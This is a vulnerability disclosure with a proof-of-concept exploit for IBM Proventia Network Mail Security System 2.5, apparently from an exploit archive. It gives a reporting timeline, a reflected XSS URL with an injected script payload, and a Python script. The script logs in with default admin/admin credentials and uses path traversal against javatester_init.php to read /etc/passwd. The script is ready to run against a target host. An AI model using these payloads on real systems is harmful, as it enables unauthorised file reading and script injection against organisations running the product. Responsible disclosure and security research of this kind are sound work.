IBM Proventia Network Mail Security System 2.5 – POST File Read
#!/usr/bin/python ''' Author: muts of Offensive Security Product: IBM ISS Proventia Mail Security Version: 2.5 Vendor Site: http://www.ibm.com/us/en/ Product Page: http://www-935.ibm.com/services/us/en/it-services/proventia-network-mail-security-system.html Timeline: 04 Jun 2012: Vulnerability reported to CERT 08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012 19 Jul 2012: Reflected XSS Fixed: http://www-01.ibm.com/support/docview.wss?uid=swg21605626 19 Jul 2012: Arbitrary File Read Fixed: http://www-01.ibm.com/support/docview.wss?uid=swg21605630 08 Aug 2012: Public Disclosure The application is vulnerable to a post-authentication reflected XSS: https://server/pvm_eventlog_backend/logs_eventDetails.php?recordNumber=42&alertID=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28123%29%3C/script%3E&MaxEvents=0]] In addition, there is also a post-authentcation arbitary file-reading vulnerability. The proof of concept code below can be used to replicate the vulnerability. ''' # IBM Proventia Network Mail Security System POST file read import urllib import urllib2 import httplib username = "admin" password = "admin" url = "https://172.16.254.180/javatester_init.php" password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() password_mgr.add_password(None, "https://172.16.254.180/", username, password) handler = urllib2.HTTPBasicAuthHandler(password_mgr) opener = urllib2.build_opener(handler) data = urllib.urlencode({'template' : '../../../../../etc/passwd','async' : '3','access' : 'direct'}) req = urllib2.Request(url, data) f = opener.open(req) print f.read() |